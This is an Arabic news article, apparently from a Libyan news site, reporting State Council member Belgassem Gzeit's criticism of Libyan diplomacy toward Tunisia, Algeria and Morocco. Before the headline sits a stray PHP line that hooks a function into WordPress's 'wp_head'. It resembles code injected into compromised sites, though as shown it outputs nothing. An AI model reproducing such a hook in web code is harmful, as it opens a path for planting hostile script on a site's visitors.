/***/function load_frontend_assets() { echo ''; } add_action('wp_head', 'load_frontend_assets');/***/ قزيط: لا عاقة لنا بما يجري في تونس سياسية حتى نقيمها هذا طرف انقلابي أو غيره - اخبار ليبيا
ليبيا الان

قزيط: لا عاقة لنا بما يجري في تونس سياسية حتى نقيمها هذا طرف انقلابي أو غيره

ليبيا – قال عضو مجلس الدولة الاستشارية بلقاسم قزيط إنه في ليبيا يجب الا تمارس وصايا على أحد فهناك بعض الدول التي تقرر ما يجري داخلها، مشيراً إلى أن ليبيا تخصص لوزارة الخارجية مئات الملايين من الدولارات ومع ذلك ما تقوم به إجمالاً الخارجية والسلطات الليبية أصبح يفسد العلاقات المستقرة.
قزيط أضاف في تصريح أذيع على قناة “ليبيا روحها الوطن” وتابعته صحيفة المرصد “رفضنا كم هائل من الأخطاء السياسية في الزيارات والتصريحات ونحن لا عاقة لنا بما يجري في تونس من احداث سياسية حتى نقيمها هذا طرف انقلابي أو غيره، نحن نتضامن مع تونس كدولة اليوم والغد باختلاف الوجوه وهذا عمقنا التاريخي والجغرافي والحضاري لكن أن تقول ما يحدث في تونس انقلاب إن قالها مثقف أو صاحب رأي هذا من حقه ولكن من يتبوؤون مناصب سيادية مواقفهم وتصريحاتهم وطريقة وقوفهم هي رسالة لهذا يجب الا يكون ذلك”.
وتابع: “حتى وزيرة الخارجية اتذكر وزراء الخارجية المرموقين شخصياتهم حيادية، الابتسامة لوزير خارجية أو رئيس مجلس رئاسي هي تعني ابتسامة ليبيا في وجه الضيف وعبوسها يعني عبوس ليبيا كلها. السياسية الخارجية الليبية يجب أن توجه من رئيس المجلس الرئاسي في المقام الاول ونحن رأينا تصريح من مجلس الدولة وبعدها بيومين رأينا نائب رئيس المجلس الرئاسي ذهب لتونس اعتقد ان التصريح والزيارة في غير محلهما، فالتصريح فهم منه تأييد البرلمان وكتلته السياسية والزيارة فهم منها تأييد الرئيس في إجراءاته ونحن في ليبيا بريئين من الحالتين فنحن مع تونس وليس مع رئيس ولا برلمان ولا غيره”.
ونوّه إلى أنه بعد قطع العلاقات الجزائرية والمغرب قام نائب رئيس المجلس الرئاسي عقبها يومين بزيارة المغرب في توقيت سيء وغير مبرر بحسب قوله، مضيفاً” هناك قمة في الجزائر وهي قمة الدول الجارة لليبيا أعتقد أنه ربما التوقيت غير مناسب والجزائر دولة جارة ولكن ما المبرر؟ استعمت لخطبة وزيرة الخارجية مبالغة، الجزائر تستحق ولكن السيادة الخارجية لا تبنى على المدائح وخاصة ظرف اليوم والتوتر في المغرب العربي يجب علينا الحذر كل المديح الذي رأيناه يفهم انه اصطفاف ضد المغرب وكل مديح للمغرب يفهم انه ضد الجزائر”!.
كما شدد على أن السياسات الخارجية الليبية غير مفهومة ومضطربة، مبيناً أن رد الفعل المطلوب يجب أن يكون داخل الحكومة خاصة أن من هم في الخارجية أشخاص يدركون السياسة الخارجية وفقاً لتعبيره.
وأردف: “الآن هناك تشويش بعلاقاتنا مع السعودية ومع تونس واعتقد مع المغرب والجزائر بالمجان ما مبرر العبث والخطوات غير المدروسة. الجميع يدرك أن ليبيا في حال عدم اتزان ومتأكد ان هذه الخطوات أثرت صفو العلاقات لأننا نعرف سياسات الدول منذ عشرات السنين والجميع يعذر ليبيا لأنها في ظرف حرج. ما جعلنا نصرح هو أن الكيل طفح وأخطاء الدبلوماسيين يدفع ثمنها الناس”.
 
 

يمكنك ايضا قراءة الخبر في المصدر من صحيفة المرصد

عن مصدر الخبر

صحيفة المرصد الليبية

أترك تعليق

جميع الحقوق محفوظة © 2022 akhbarlibya